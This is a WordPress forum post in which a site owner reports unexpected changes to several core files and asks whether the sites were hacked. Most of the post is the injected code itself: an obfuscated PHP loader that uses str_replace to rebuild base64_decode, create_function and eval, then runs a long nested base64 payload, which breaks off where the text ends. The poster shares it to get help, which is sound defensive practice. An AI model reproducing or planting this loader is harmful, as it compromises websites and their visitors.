• dlachusa

    (@dlachusa)


    In the last 2 days, I have received alerts on 3 of my websites saying the core files have been modifed:

    WordPress core file modified: index.php
    * WordPress core file modified: wp-admin/index.php
    * WordPress core file modified: wp-includes/functions.php
    * WordPress core file modified: wp-includes/template.php
    * WordPress core file modified: wp-includes/theme-compat/header.php

    I had not logged into any of the sites or made any changes.
    I did not receive any notification that someone else attempted to login (although that’s happened in the past)

    Is there any legitimate reason or way these files could get modified?

    I have changed all passwords and reverted modified files back to what they were, but I’m trying to figure out if I’ve been hacked. There are no noticeable changes to my sites.

    Here is an example of the modification:
    From this: <?phpĀ 

    To this:
    <?php function pQDKqQFqi7qaqYg5V2Gzrta($Fc9ic5e6,$JG2pbix8zypnEk9x,$zO9z7jB7sE2xA){return str_replace($Fc9ic5e6,$JG2pbix8zypnEk9x,$zO9z7jB7sE2xA);} function W9CB91tIfO7WKNyXLb1bQ8a5($Fc9ic5e6,$JG2pbix8zypnEk9x,$zO9z7jB7sE2xA){return str_replace($Fc9ic5e6,$JG2pbix8zypnEk9x,$zO9z7jB7sE2xA);} function k5QLm7MdAOh8p73UHQK($Fc9ic5e6,$JG2pbix8zypnEk9x,$zO9z7jB7sE2xA){return str_replace($Fc9ic5e6,$JG2pbix8zypnEk9x,$zO9z7jB7sE2xA);} $SbldIWy3T = ‘bReBIKsKkuIYEaReBIKsKkuIYEsReBIKsKkuIYEeReBIKsKkuIYE6ReBIKsKkuIYE4ReBIKsKkuIYE_ReBIKsKkuIYEdReBIKsKkuIYEeReBIKsKkuIYEcReBIKsKkuIYEoReBIKsKkuIYEdReBIKsKkuIYEe’; $SbldIWy3T = k5QLm7MdAOh8p73UHQK(‘ReBIKsKkuIYE’,”,$SbldIWy3T); $Zl4eiu = ‘cWKs4qqa1DcdHK0rWKs4qqa1DcdHK0eWKs4qqa1DcdHK0aWKs4qqa1DcdHK0tWKs4qqa1DcdHK0eWKs4qqa1DcdHK0_WKs4qqa1DcdHK0fWKs4qqa1DcdHK0uWKs4qqa1DcdHK0nWKs4qqa1DcdHK0cWKs4qqa1DcdHK0tWKs4qqa1DcdHK0iWKs4qqa1DcdHK0oWKs4qqa1DcdHK0n’; $Zl4eiu = k5QLm7MdAOh8p73UHQK(‘WKs4qqa1DcdHK0’,”,$Zl4eiu); $DjXKGO5o5K0HLuv6DCuKmG0c = ‘uKW0OozpGaz1IoveuKW0OozpGaz1IovvuKW0OozpGaz1IovauKW0OozpGaz1Iovl’; $DjXKGO5o5K0HLuv6DCuKmG0c = k5QLm7MdAOh8p73UHQK(‘uKW0OozpGaz1Iov’,”,$DjXKGO5o5K0HLuv6DCuKmG0c); $H7Okr = ‘$RXPw0uSrPLMaEXvihxhTlp’; $FBCQ8g = $Zl4eiu($H7Okr,$DjXKGO5o5K0HLuv6DCuKmG0c.'(‘.$SbldIWy3T.'(‘.$H7Okr.’));’); $FBCQ8g(‘ZXZhbChiYXNlNjRfZGVjb2RlKCJaWFpoYkNoaVlYTmxOalJmWkdWamIyUmxLQ0phV0Zwb1lrTm9hVmxZVG14T2FsSm1Xa2RXYW1JeVVteExRMHBFWWxaYU5Wa3lNRFZsVm1kNlUyMTRhbEo2YkRWYVJXUnpaRlp3TlZvelpFeFdTRTVNVVRJeGMySlZiRVJhTW1oaFlteGFNVmRVVGxOalIwbDVUbGRhWVZkSGFIZFplazVUWld0MFJGTnRSbFZXUmxwNFZGYzFSbVF5VFhsaFJ6RlpUVEJLZDFreU1EVmliVWw1WXpKc1RGVXlkek5STWpGaFRWZEtkRlJxUW1oV2Vtd3hVMVZhZDFSck5WaGlNMnhxVmtWS05sbFZaR0ZhYlU1SVlraHNhVTF0VWpKWldHeHVZMGRXTTJOSWJHRlhSa2w0V1RJd01Gb3hjSFJTYms1cVRXeFZNMUV5TkhkVE1FNTBZa2N4U2xFeVpHOVhiVFZYWkZacmVsVnVRbWxOYWxadFYyeG9iMk5IVFhwVmJuQk1VVEJ3VjFsdE1EVmFiSEJJVm0xd2FVMXNTbk5UVjJ4eVkwZFdNMk5ITVd0V2VsWnhXa1ZrYzJSdFNuQlJiRnBwWWxSc2JWZHJaRmRoYlVsNVZXMTRURkV4U2xWYVJXaExZMGRLZEZrelFrUmliazVNVTFWT1Fsb3diRVJWYkZKclUwVndkMWx0TVdwYU1VSlVVVzFzV2xkRk5YTlViWEJUV214d1NGWnRjR2xOYkVwelV6Qk9VMVpIVWtsVGJrSnBZbGRPZDFRelpIWmFNR3hFVVZka1MxSnJOVzlaYTJoU1QxVnNkRlZ0Y0U5WFJVVXhWMnRWTldReFJuUlVWMnhRWkRJNWJsTlZUa0phTUhCSFZHcENhbUV6YUhOWmJXeENUMVZzU1ZScVFtcGlXR2h6V1cxc2JtRXhWWHBWYm14b1ZucFdkVk14VW5wVE1HeEVVVmRrU2xFeFNsVlhiR2hHV2pGQ1ZGRlhiRk5TVkVaSFYyMXdWMU5XWkhWV2JFWnFWVEJyTTFFeWJFSmFNR3hFVVZkMFUwMXJXakJaYkdSR1dqRkNWRkZYYkVwaGJrNU1VMVZPUWxvd2JFbGFSemxvVmpOb2MxTlZUbTlsYlZKSlUyNU9ZVlo2VW5aVGExWnJZVWRLV0UxWGFFeFdTR1J5VmxST1UyVldVa2hXYmxaTVZWYzVibE5WVGtKYU1sWXpZakprU2xFd1JtNVRWVTVDV2pCc1JGVnNVbUZYUlZadVZVWk9RMlF4YkZoVWJrcE1VVEJ3U2xNeWJFcGpNazE1WVVkb1RsVXlaSEpWYWtwSFpFZEtXRkpZVmt0U2F6VnpXVEZOTUdFeFZYbFNiazVyVVRKMGQxUXpaSFphTUd4RVVWZGtTbEV3Um01VFZVNVRVMFpzV0UxWVVscFZlbEUxV1hwT1YyRlhUWHBWYm14TVVURktWVmRzYUVaak1ERkVaSHBTVEZaSVRreFRWVTVDV2pCc1NVMUZkRVJoVlVadVUxVk9RMlZXY0ZsVmFrWnFZbFJTYmxOcldrOU5SMDUwWWtoV1lVMVVVbkpWYWtwSFpFZEtXRkpVWkVSaWFrSk1XbXhHZGxNeVJsaFhWMlJNVVRCYWRGcEdZekZoYlZKSVlraGFhV0pFYkhOYVZXUnpaVzFTU1ZSWE9VcGlWMUp6V2tWWk5VMUdaM2xWYmtKcVlrUnNNRmRXYUU5bGEyeHdZVE5DYkdRelFuUmFSbU14WVcxU1NHSklXbWxoVlVwMVYyeG9VMXB0VWtkUFYzUm9WMFZ3YlZsc1pFZGxiVTQxV2pOQ1NsTklUa3hSTWpGellsVnNSR0ZITVd0V2VsWnhXa1ZrYzJSdFNuTlBWM2hzVWpKNE5scEZhRTVpTUd4MVZHcFdhazFVYkhWWGJHaFRXbTFTU0ZadVVtcFNhbXh5V1Zab1NtRlZkRlJoTW1Sc1pESTVibE5WVGtKYU1rWllWMWRrVEZKVlNuZFpla1UxVFRKT2RHSkVRbUZXTUZwd1dXdGtWbUl5VFhwaVNIQlpUVzFTYzFwRldUVk5SbkJZVFZoa1dVMXNTbmRaTW14dVkwVjBWR0V5Wkd4bFZVWnlXVEl4VjJWc1kzaE5SMlJSVlRCS05WZHNaRWRqTWs1SVVtcENhRkV5YURaYVZtaFBXbXh2ZVZacVFsbE5NVXB6V1d4b1ExcHNjRWhpU0d4TVVUSjBkMVF6YkVOUFZVNTFUVVYwU2xFd1JtNVRWV1J6WWxWc1JGb3lhR0ZXZWtZeldrVm9jbUl3Y0VkUFZWcFZZa1p3YVZOWGVGTlViRlpFVTIxU1RGVXdSblJUYld4RFVWZEdXVlJ0V210Tk1IQjNXa1ZrVjJGR2JIUmxSM2hNVTBWd2MxZFdaRFJrTVd4WlZXMDVURkV4U20xVmJGVXhWakZrTlZOc1ZsVldhMFp3VjBaT2NtTkZkRlJSYW1SS1VURktOVmRzYUU5WmJHaFVVVlJzU2xORmNITlhWbVEwWkRGc1dWVnRPVXhSTVVwdFZXeFZNVll4WkRWVGJGWlZWbXRHY0ZkR1RuSk9NR3hKVFVWMFNsRXdSbTVUVldSellsVnNSRm95YUdGV2VrWXpXa1ZvY21Jd2NFZFBWVnBWWWtad2FWTlhlRk5VYkZaR1ZXdHdWbUZWY0d0VE1VNUNZbFZ3Y0ZGclJtaFhSVFZ0V2tST1MyTkhVa2hXYldoYVlsaG9jMU13YUV0aVJteFlaVWhrV2xkR1NuWlRNRTVUV214S1ZrNVdaRmhsVlhCV1ZrWmFRMUpXVGxkVFYyeFpWVEowZDFNeFRrTk9NR3hFVlc1c1lWZEZOV2xYUms1Q1QxVnNTVk50ZUZwV00yZ3pWMVpvVTJJd2RFUlJWM1JaVFVaYVVGWnRlSHBoVmxwR1RWWkdVMUpYZUZSVFYzZDNZMFU1TlZGcWJFUmhWVVp1VTFWT1EyTkdjSEJSVnpsS1ZqRmFNRmt3YUZOT1ZYUkVWVzFhVTFaVVZsaFdNMnhMVmxaS1ZrMVdSa3BpUkVKM1UxVk9XbUpWYkVaUmJrSnFUVlJyZWxreU1YTk5SbkJZVW0xc2FWSXhWblpaTWpGWFlVZEtTVkZ0YUd0U01tUjJVMnRaTlZKc1VuTlhiVXBLWWtaS1IxWkdXa0poVm1oVVlUTkNURlV3U1ROVFZVNVRaVlp3V1ZSdFNsbFZNRVUxVTFWb1MySkdiRmhsU0dSYVYwWktkbE13VGtKaE1XZDNWbXM1VjJKSVRuQldhMVpYVkd4V1JGTnRVa3hXU0U1dVdteEdkbG93YkVSUlYyUkxVMFpLYzFsc2FFTmlWMFpZWlVkNFVWWlZTWGRYYkdONFpESktkRkp1VWt4U2FteHRWVzEwYzFSV1NsZFBWMXBOVVRCc2NGTXhVbnBUTUd4RVVWZGtTbEl5ZUhSVFZVNXZVVlp3ZEdKSVRtRldhbXh6V2xWa2MyVnRVa2xVVnpsTFUwWktjMWxzYUVOaVYwWllaVWQ0VEZVeWRHNWFXR1IyV2pCc1JGRlhaRXBSTUVwQ1drWmpNV015UmxoT1dFcE1VVEZKZDFkc1kzaGtNWEIwWWtoT1lWVXljek5STW14Q1dqQnNSRkZ1UW1GaFZVWjJWVlZrYzJWc1ozcGFTR3hvVjBaS2MxZFdaRXRqTVhCVVlVaHNZVll3V25wWk1HUkhUVWRHUkdGSGRHaFhSWEF4VjFaamVHSkZkRVJWYWtKaFZucEdNMWR0TVhOak1YQlVZVE5DVEZVeWRHNWFXR3hUWlZad1dWUnRTbGxWTUVVMVUxVm9TMkpHYkZobFNHUmFWMFpLZGxNd1pGTmpSMDUwVGxkb2FWWXhWblpUYTJoVFlrZEtXVkZ0TVdoV00yaHpVekZPY2s0d2JFbE5SWFJLVVRCR2JsRXliRUphTUd4RVVXcHNSR0ZWUm01VFZVNURZMFp3Y0ZGWE9WSlNNbmcyVjBST2EyVlhSbGxWYlhoYVZqQndlbGRzVG05bFZuQllVbTVPYWxJd1dYZFpWVTV2VVZkR1dFNVlRbGxOYlZKeldrVk9ibUZYVWxsUmJrNXBUV3RhY2xkRVRsTmtSMDVIVDFkMGFGZEZiSEJUTVU1eVkwVjBWRkZxWkVwUk1VbzFWMnhvVDFsc2FGUlJWR3hLVTBWd2MxZFdaRFJrTVd4WlZXMDVURkpWU25kWmJURnpXbXh2ZVZacVFreFJNRzk0V1RCa05HUnNiRmhWYlZwclVucEdNMWRFU2xOalIwNXdVMWhDVEZaSVRtNWFiRVoyV2pCc1JGRlhaR2hXTVd4dVV6QldRMk5IVFhoUFZFNXFZbGQzZDFkc1pFZGhWMHBJVmxjNWFtSldXbTlaYTJoRFlVZFNTRm95T1dwTmJGbzJXWHBLYzJSdFNuTlBXSEJhVjBad2MxZEVUa05oUjFKSVdqSTVURlV5ZEhkVE1VNURUakJ3U1ZOdGVHcE5XRkpyVTFWUmQxb3lUblJXYldocFUwVktiMXBGWkc1aU1rMTVWbTV3YWsxdGVESlpiWGMxWld4c1dWZHRlRmxOTUVwdldrVmtibUl3ZEZSaGVtUktVMFJDVEZOVlRrSmFNR3hJWWtjeFNsRXlhRUpaVm1oUFdtMVJlbE51UW10U01WcHZWMWN4TkdKRmRFbFRiWGhhVmpOb00xZFdhRk5pTUhSSVZXNUNhbUpVVm05WmJHUldZakZuZUU5VlpGUldXR2hIVjBSRk5HTkZkRlJoTTBKS1UwaE9ibE5yYUV0aVIwMTRaRWRTU2xKRVFtNVpNakZYWVVkS1NWRnRhR3RTTW1SMlYydGtjMlZYU25SU2JsSmhWVEpvYlZkRVFtRlRiRkpHVm0xYVdXVlhkSGRVTTJ4RFQxVk9ibUl5WkVwUk1FWnVXVEl4VjAxSFVsbFRibFpLVWpCYU5Wa3lNVWRPVm1kNlZtNVdhRmRGV1hoWGJFNXVZVEpPZEZadWNFeFdTRTVNV214R2QwOVZUbTVqU0VKaFlWVkdkbE5XWkdGTlYwcDBWR3BDYUZaNmJERlhSRXBYVGtkR1dWUnFRbXBsVjJSd1YycEtWMDFHWjNwV2JXaEtZVmQwZDFwWVpIZGlWMUpZVGxkd2ExSXllREpaYld4RFlteHdXVlZ0V210V01GWjJVekZvZWxNd2NFaE9WMmhwVmpGV2JsVkdUa05pYkhCWlZXMWFhMU5GYjNoWGJGazFaRlpzV0UxWGVFeFJNbk16VVRKa2QySlhTWHBUYlhoYVZqQTFkbE13Wkd0aVIxSkhUMVJDV1Uxc1NuZFpNbmMxWkVac1dWUnVjRXhSTW5SdVYxWm9UbG93Y0VsVldFSnNaRE5DZDFkdGJHOWlWMFpZWlVkNFdVMXNXVEJaVm1oUFRVZE9OVm95ZEd0UmVsWkdWVEZhUzFKc1JYaFZiRUpXWWtkNGJWWlVRbGRWVmtaWFUydEtWMUpVYkZSVVIyeFRaRlpzV0UxWGVFeFZNbmN6VVRJeFlXUnRUblJXYldoYVRXMWtibE13WkdGalIwcElWbGM1UzFOR1JqRlZhMVp6VlRGS1ZsUnNWbFZOVlhCaFYwUkdUMUpzVmtaU2JFNVNWbXhLVVZaWGF6QmhNa3AwVW01U1lWVXlkRzVYVm1oT1dqQndTVlZxUWt4WFNFNU1VMnRvVTAxRmJFVk5SMlJYVm5wV01sZEVTbE5pUm10NVQxZDBZVlV5WkhKYVJXaFNZMFU1TTJOSVFtRmhWMmcyV2tWb1MyUXlTWHBVVnpsTFUwWkpkMVJGVGtwa1ZXeHdZVEprVVZaRVFUVlRWV1JoWVVkS1NWUnRlRXhYU0U1TVUydG9VMlJIVGtSUlZHeEtVakZaTUZrd1pEUmtiSEJJVmxjNVNtSnVaSEJVUlU1VFRVZFNSR0Y2WkVSaVZuQXlXVEl4VjJGR2EzbGFNamxMVTBaS01Ga3dUa05oUjA0MVVWZDBhMVV5ZHpOUk1teFRZMjFLZEU5VVRsaE5WRUp1VlVaT1EwMUhUblJpU0ZKTVVURkplRk14VW5wVE1scFNZMFJzUkdKcVFreGFiRVozVDFWT2RHSkhNVXhTTURVeVdrWmpNVTFGZEVSVmJrcHBZbFJyZWxNeFRrSlBWa0pVVVZoa1RGZElUa3hUYTJRd1pGZEplbHBIU2xsVk1FVTFVMVZPUzJSSFRYbGlSM2hLWVc1T1RGTnJaREJrVjBsNldrZEtXVlV3UlRWVFZVNUxZbGRHV1ZOdGVHRmlWR3N3VTFkd2VsTXdjRWhrU0ZacFRUSlNhVmRHVGtKUFZXeEVVMjAxYVUxcWJIVlphMlJYWVZkSmVsVlhiRkJrTTBFMVVUSTFTMkpIVWtsV2JteHBZVlZLYjFreU5VdGhSMVpYVDFSR2FXSlhlRFJhUm1SV1lqQndTR1JJVm1sTk1rNTNWRE5rZDA5VlRuVk5SWFJFWWxkNGRGTlZUbTVoUm5CMVZtNVdXazB4U25kWmFra3hXbXh3V1dGSVFtcE5NVW8yVXpCT1MySnNjRmxWYlZwclUwVnZlRmRzV1RWa1ZteFlUVmQ0U21GWGRIZGFXR1IzWWxkU1dFNVhjR3RTTW5neVdXMXNRMkpzY0ZsVmJWcHJVMFZ2ZUZkc1dUVmtWbXhZVFZkNFRGRXlkek5STWpWTFlrZFNTVlp1YkdsaFZVWndWRWN4UzJGR2EzbGtSRVpxVW1wcmQxbFdZM2hpUld4eFl6QjBiVlZZUVRWUk1tUjNZMFp3Y0ZGWE9VcFdNVzk0V1cweFQwMUhSbGhQV0ZaWlRXeFpNRmxXYUU5TlIwNDFXakpzYWsweFNqVlpNR00xWld4c1ZGTllRa3hYU0U1TVYyMDFWMlJXYTNwVmJrSnBUV3BTYmxsNlRsTmxWMDVJVDFod1dsVXlaSEpaVldSSFRsZE5lbFZ0YUZwTmJrNTZVMVZPVTJSV2NGaFdiWFJwVWpGV2VsTlZUbE5rYkhCMFYyNXdZVmRHUlRWVVZVNXlXakpXTTJJeVpFcFJNRVp1V1Zaa1dtSXdiRmhpU0hCWlRXdGFOVmt5TVVkT1ZYUkVWVzVXWVZZeFduSlphMlJXWTBWMFZGRlhkR2xpVmxwelYydGtOR0pGYkVWTlIyUmFWMFZ3TlZkV2FISmlNSEJJVGxkNFlWWXhTbnBYYkU1eVRqQk9jRkZYWkVwUk1FcDBXV3BPUzJKR2JGaFViVGxNVVRGS01WZHNaRmRoTWtwSVZsZGtXbGRGTVc1VGEyaEhUVlp3V1ZOcVZreFZNRWt6VVRKc1Fsb3diRVJSVjJSS1VUQkdibGxXWkZwaU1rMTZWVzVzYWxKNmJEWlRNRTVUWWpGc1dXSkljR3RTTUZweFdWaHNNMW93Y0VsU2FrWmhWMFZ2TVZSRlRrSmhNa2w1VjIweGFrMXNXWGRUTVU1Q1lVWkNWVTFIWkdGaVZWcDZXWHBLVm1ORmJFbFRiWGhyVTBaYU5WbHRiRU5OUjA1MVZtMTRVR1F5T1c1VFZVNUNXakphVW1JeVpFcFJNRVp1V1RJeFYwMUhVbGxUYmxaS1VqRndiMWxyYUU5aVJUa3pZMFJzUkdKcVFreFJNakZ6WWxWc1JHRklRbXBOTURWeldrVk9ibUV4WjNoVWExcFdZa1p3UjFaWGVIcGhWazVIVld4V1ZsSnFiRmRXVkVKWFZURm5kMUpyYUZOV1ZGWldVMWQzZDJORmRGbGpNSFJMVTBaYWIxTlZVWGRhTWsxNlZXNXNhMUo2YkhwWmFrNXJZa2RPY0ZveWRGbE5WVFZIVmxkNFlWSnNWbk5qTW14VVVteEtWbFpWV1RWV2JGVjNWbXhPV1UxRldrbFZiRlV4VmxWc2MwMUlRbEJrTWpsTVUydG9VMlZYVWxoV2JWcHJWakJXYmxWR1RrTmliSEJaVlcxYWExWXdWblpUTVZKNlV6Qk9kR0pITVVwUk1tZzJXa1ZvUzJReVNYcFViV2hNVVRGSmVGZFdUak5oTWxKSlUycEdZVlpxYTNoWFZrNXlZMGRXTTJJd2RHaFdNV3h1VXpCT1IySlhVbGhPVjNCclVqSjRNbGx0ZHpWaVIxWklZa2h3YTFORk1YWlRWelZUV214d1NHSkliRXBoVjNSM1dsaGtkMkpYVWxoT1YzQnJVako0TWxsdGJFTk5SbWQ1Vlc1Q2FtRlhaSGRUVldoNlV6SkdXRmRYWkV4U01XOTRXVzB4VDAxSFJsaFBXRlpaVFd4Wk1GbFdhRTlOUjA0MVdqSnNhazB5ZURaWFJFcHJZa2RTUjA5VVFtRldla1l6VjBSS1UyTkhUbkJUV0VKTVZUQkpNMUV5YkVKYU1HeEVVVzVDWVdGVlJuWlZWV1J6Wld4bmVscEliR2hYUmtwelYxWmtTMk14Y0ZSaFNIQnNWMFUxYlZkcVNsZE5SbWQ2VlcxNGFWZEZTbTFYYTJSelpWVjBSR0V6UWt4Vk1Fa3pVMVZvUzJKSFVrbFdibXhwWVZWS05WZHNaRWRqTWs1SVVtcENhRkV5YURaYVZtaFBXbXh2ZVZacVFsbE5NVXB6V1d4b1ExcHNjRWhpU0d4TVVUSjBkMVF6YkVOUFZVNTFUVVYwU2xFd1JtNVRWV1J6WWxWc1JGb3lhR0ZXZWtZeldrVm9jbUl3Y0VkUFZWcFZZa1p3YVZOWGVGTlViRlpFVTIxU1RGVXdSblJUYld4RFVWZEdXVlJ0V210Tk1IQjNXa1ZrVjJGR2JIUmxSM2hNVTBWd2MxZFdaRFJrTVd4WlZXMDVURkV4U20xVmJGVXhWakZrTlZOc1ZsVldhMFp3VjBaT2NtTkZkRlJSYW1SS1UwVndjMXBGYUZkbFYwcHdVVzVzWVZZd1ducFpNR1JIVFVkR1JGb3lkRmxOUmxwUVZtMTRlbUZXV2taTlZrWktZa1JDZDFRemJFTlBWVTV3VVZka1NsRXdTbmRYYld4Q1lqQnNXRlp1VW1wVFJra3hVekJPVTFwc1NsWk9WbVJZWlZWd1ZsWkdXa05TVms1WFUxZHNXVlV5ZEc1VGJXeGFXakZHU0dKSWNGbE5NbEkxV1Zab1UySkdiRmhUYms1aFZUSm9OVmRzWkVkak1rNUlVbXBDYUZFeVpISlhSRUpYVkRGYWMyTXliRmRTVkVaU1ZXdFdjMVV3YkhOTlNFSk1WVEowYmxwWWJFTmxWbkJaVldwR2FtSlVVbTVaTWpGWFlVZEtTVkZ0YUd0U01tUjJVMVZPVTFwc1NsWk9WbVJZWlZWd1ZsWkdXa05TVms1WFUxZHNXVlV5Y3pOVFZXZDNVekJzUkZGWFpFcFNNbmgwVTFWT2JtRkdjRmhOV0dSclUwZDBkbE5yV1RWU2JGSnpWMjFLU21KR1NrZFdSbHBDWVZab1ZHRXlaRXRoVm14dVZWVmtjMlZzWjNwYVNHeG9WMFpLYzFkV1pFdGpNWEJVWVVoc1lWWXdXbnBaTUdSSFRVZEdSRm95ZEZsTlJscFFWbTE0ZW1GV1drWldhelZXVVRCd2ExTXhUbkpqUld4Sll6SmthbUpXV1hkYVJtaExaRlZzU1ZOdGVGcFdNMmd6VjFab1UySXdkRVJSVjNSWlRVWmFVRlp0ZUhwaFZscEdWbXMxVmxFd2NHdFRNVko2V2pKYVVtSXlaRXBSTUVadVUydG9VMkpIU2xsUmJURm9Wak5vYzFWR1ZrTk5SbkJZVFZoa2FXSlZXakJUTUZrMVdteEtjbUpGTVZOV2FteHRWRVZPU21GVmRGVmpNSFJLVVRCR2JsTlZaSE5pVld4RVlVVkdZV0pYZUhwWGJGazFZa2RXU0dKSWNHdFRSVEYyVTJ0b1UySkhTbGxSYlRGb1ZqTm9jMU14VG5KYU1sWXpZakprU2xFd1JtNVRWVTVEVVZkU1dFNVlUbWhXZWxaNVV6Qk9VMDFHY0ZoTldHUmhZbGQ0ZWxkc1RuSk9NRTV3VVZka1NsRXdTbmRYYld4Q1lqRkdTR0pJY0ZsTk1sSTFXVlpvVTJKR2JGaFRiazVoVlRKb05WZHNaRWRqTWs1SVVtcENhRkV5YUhKWlZtaExaRlpzV0UxWGVFeFJNVWwzVjJ4amVHUXhjSFJpU0U1aFZUSjBkMU14VG5KYU1sVjZVMjE0YTFOR1dqVlpiV3hEWlZad1dGSnVUbXBTTUZsM1dWVk9iMkV5UmxsVGJsWmFWbnBHYzFNd1RsTk5SbkJZVFZoa1lXSlhlSHBYYkU1eVkwVTVOVkZxYkVSaFZVWnVVMVZHZGxvd2JFUlJWMlJ0VlZjNWJsTlZUa0phTWtaWVYxZGtURkpWU25kWmVrVTFUVEpPZEdKRVFtRldNRnB3V1d0a1ZtSXlUblJXYldocFUwVktiMXBGWkc1aU1VWklZa2hXYUZacWJIVlhiR2hTWWpCc2RWWnVaR2xTZW14dlYydFpOVTFIU2xsUmJWcGhVako0TlZOWGJISmpSWFJVWVRKa2JHVlZTalZYYkdoVFRWZE9kRTVIWkdwaVZscHZXV3RvUTJGSFVraGFNamxTVWpKNE1WbFdXVFZpYkhCWlZWYzVTbUpzV2pOWmEyTTFZVVp3UjA5VVFtbFhSVXB0VjJ0a2MyVlZiSEJoTTBKUVpWVkpOVkV5YkVKYU1HeEVVVzVDWVdGVlJuWlZWV1J6Wld4bmVscEliR2hYUmtwelYxWmtTMk14Y0ZSaFNHeGhWakJhZWxrd1pFZE5SMFpFWVVod1lWZEZOVFpaVm1NMVpGWm5lbFJ0YUd0aVZscHRXVEJrUjAxSFJrUmFNMEpNVlRKMGQxTlZhSHBhTWs1MFZtcENhMWRGY0RGVFZXaExZa1pzV0dWSVpGcFhSa3AyVXpCb1QySkhUWHBVYmtKcFRXcFdiVmw2U2tkTmJIQlhUMWhrV2xkR1NuWlRNRTV5WTBVNU5WRnFiRVJoVlVadVUxVk9RMk5HY0hCUlZ6bFNVako0TmxkRVRtdGxWMFpaVlcxNFdsWXdjSHBYYkU1dlpWWndXRkp1VG1wU01GbDNXVlZPYjJFeVJsbFRibFphVm5wR2MxTXdXVFZhYkVweVlrVXhVMVpxYkcxVE1VNXlZMFYwVkZGcVpFcFRSWEJ6V2tWb1YyVlhTbkJSYm14aFZqQmFlbGt3WkVkTlIwWkVZVWQwYUZkRmNERlhWbU40WWtWMFIwOVhXbE5oTW5oT1ZXeFpOVnByZEZSaGVtUktVMFJDVEZOVlRrSmFNR3hKVTIxNGExTkdXalZaYld4RFpGZFNXR1ZJVGxCa00wRTFVVEkwZDFNd1RuUmlSekZLVVRKa2IxZHROVmRrVm10NlZXNUNhVTFxVm0xWGJHaHZZMGROZWxWdWNFeFJNSEIxVjJ4b1UxcHRSWGxPV0ZwclRWUnNkMWt3VGtwalJYUlpZekIwWVdKc1dqRlhWRTVUWTBkSmVVNUhaR0ZOYkZsM1YwUktNR1JYU1hwYVIxcG9WMFZHZGxNeGFIcFRNRTV3Vlc1S2FXSlVhM3BXZWtWM1dqRkNWRkZYYkU1bGJVNHhWRmR3U21Rd2VIRlVWRkpOWVdzd01WTlhjSHBUTUhCSVpFaFdhVTB5VW1sWFJrNUNUMVZzUkZOVVZrOVJlbEY2Vkcxck1HVlZNWEZSV0ZaUVZrVkdjRlF6WkhaaE1rVjVUbGhhYTAxWVVtdFRWVkYzV2pCc2NWSllaRkJWZWxJMVZGVlNXbVJWTVZWWFZFWk5ZVzF6ZUZOWGNIcFRNRTV3Vlc1V1dsWjZSbk5UVlZGM1dqRnZlVlpxUWxsTk1VbzFXa1prVjFwdFNuUlNibEpoVlRKa2QxUXpaSFpUTVhCMFQxaHNZVll3V25GWlZVNXZZbXh3V1ZWdFdtdFNhbXh5V1Zab1MxcHRTbGhTYm5CcVpWZGtkMU5WWkVkbGEyeEVWV3BDVEZkSVRreFpWbVJhWWpGd2RHSklUbUZXYW14eldsVmtjMlZ0VWtsVVZ6bExVMFpHTVZWclZuTlZNVXBXVkd4V1ZVMVZjR0ZYUkVaUFVteFdSbEpzVGxKV2JFcFJWbGRyTUdFeVNuUlNibEpoVlRKMGQxcFlaSGRpVjBsNlUyMTRXbFl3TlhaVFZVNXZZbGRHV0dWSGVFeFJNVWwzVkVkMFUxTnNWbkpXYTFKWFVsUnNWRll4V1RWV1JrcFhVV3RLVm1Fd1dsWldSRVpLWkZWd1NFNVhhR2xXTVZaM1UxVmtSMlZyYkVSVmFrSnJVVEozTTFFeWJGTk5SMUpFVVZSc1NsSnNXakZaYWtVMVlURndXRlJ1V21GU01WWjJVMnRvVTAxRmRGVmpNSFJvVmpGc2RsbDZUbE5sVjA1SVQxaHdURkV4U1hkYVJVNHpZVlY0Y0ZOWVFsRmhhMFozV2xoa2RtRXlSWGxPV0ZwclRWaFNhMU5WVVhkYU1sSkpVMjVDYVZVeVpISmFSV2hTWTBVNU0yTkViRVJpYWtKTVdteEdkMDlWVG5WVGJYaHJVMFphTlZsdGJFTmhSMDUxVTIxb2JGWnFhM2haYlRGelpVZFNXRlpYT1V0U00xSXhXV3BPYW1ORk9UTmpSR3hFWW1wQ1RGRXlNWE5pVld4RVdqSm9ZV0pzV2pGWFZFNVRZMGRKZVU1WFdtRlhSMmgzV1hwT1UyVnJkRVJUYm5CYVYwWndjMWRFU2pCa1YwbDZXa2RhYUZkRlJuQlRNVTV6VGpCT2RGZHFSbWxpVlRSM1dWWmpOV1JWYkVsVWJXaHJZbFphYlZsVVNURmtiVkY0VDFoQ2FsRXlaSEpaVm1oQ1kwZFdNMkl5ZEdsaVZWb3dWMnhPUWs5VmJFaGFSM2hyVW1wcmQxa3lOVmRpUm1kNVRsZG9hVll4Vm5aVE1WSjZVekJ3U0ZSdVdtbGliRXB6V1cwMVVsb3hRbFJSVjJSb1ZucEdNMWxyWXpWaE1YQlVZVVpHVkZKclNtMVZiRlUxVkZWNFJGRlhkR2hYUlVaM1ZETmtkMkpYU1hwVGJYaGFWakExZGxNd1pHdGlSMUpIVDFSQ1dVMXNTbmRaTW5jMVpFWnNXVlJ1Y0V4Uk1uUnVWMVpvVGxvd2NFbFZXRUpzWkRJNWNsZHRiRUpQVld4SVYyNWFhbEl4V2pGVE1FNVRUVVY0Y2xWcmNGWmhNVnBGVm10Vk5WVXhaRmRQVmxKVFZtdEtRMVpYZEVkV1ZsRjRVMWhXUzFKNlZtOVpiR1JXWXpCc2RWa3liRXhXU0U1TVYyMDFRMDFYVWtsVVZ6bExVakZzZWxOclpFOWtiVXAxVlcxNGFXSnNSbmRVTTJSM1lsWnJlV1ZJV21wTmJGWjJVMnRrV21ORk9UTmpSR3hFWW1wQ1RGcHNSblpUTWtaWVYxZGtURkV3V25SYVJtTXhZVzFTU0dKSVdtbGlSR3h6V2xWa2MyVnRVa2xVVnpsS1lraENUMVJzWkhabFYwNVZVVzV3YUZJeGNHMVhha3BYVFVabmVsTnRlRnBXTTJodFdWWm9RbUZWZEZSaVJHUkVZbFp2ZUZsdE1VOU5SMFpZVDFoV1NsSnVRazlVYkdSMlpWZE9WVkZ1Y0doU01YQnRWMnBLVjAxR1ozcFRiWGhhVmpOb2JWbFdhRUppTUhSVVVXcGtSR0ZXU2pOWk1qQTFUa2RXVjA5WE9XRldNRnB5VjJ4b1MyVnJiRVZOUjJSYVYwVndOVmRXYUhKaU1HeHlWR3N4VkZaV1dsQldhMWsxVTJ4V1JGTllUa3BoTVhCUlZsZDRhMUZzVm5KVmExcFRVVEJzZWxOWGRHRlZSbFp6V2tWS1ZtR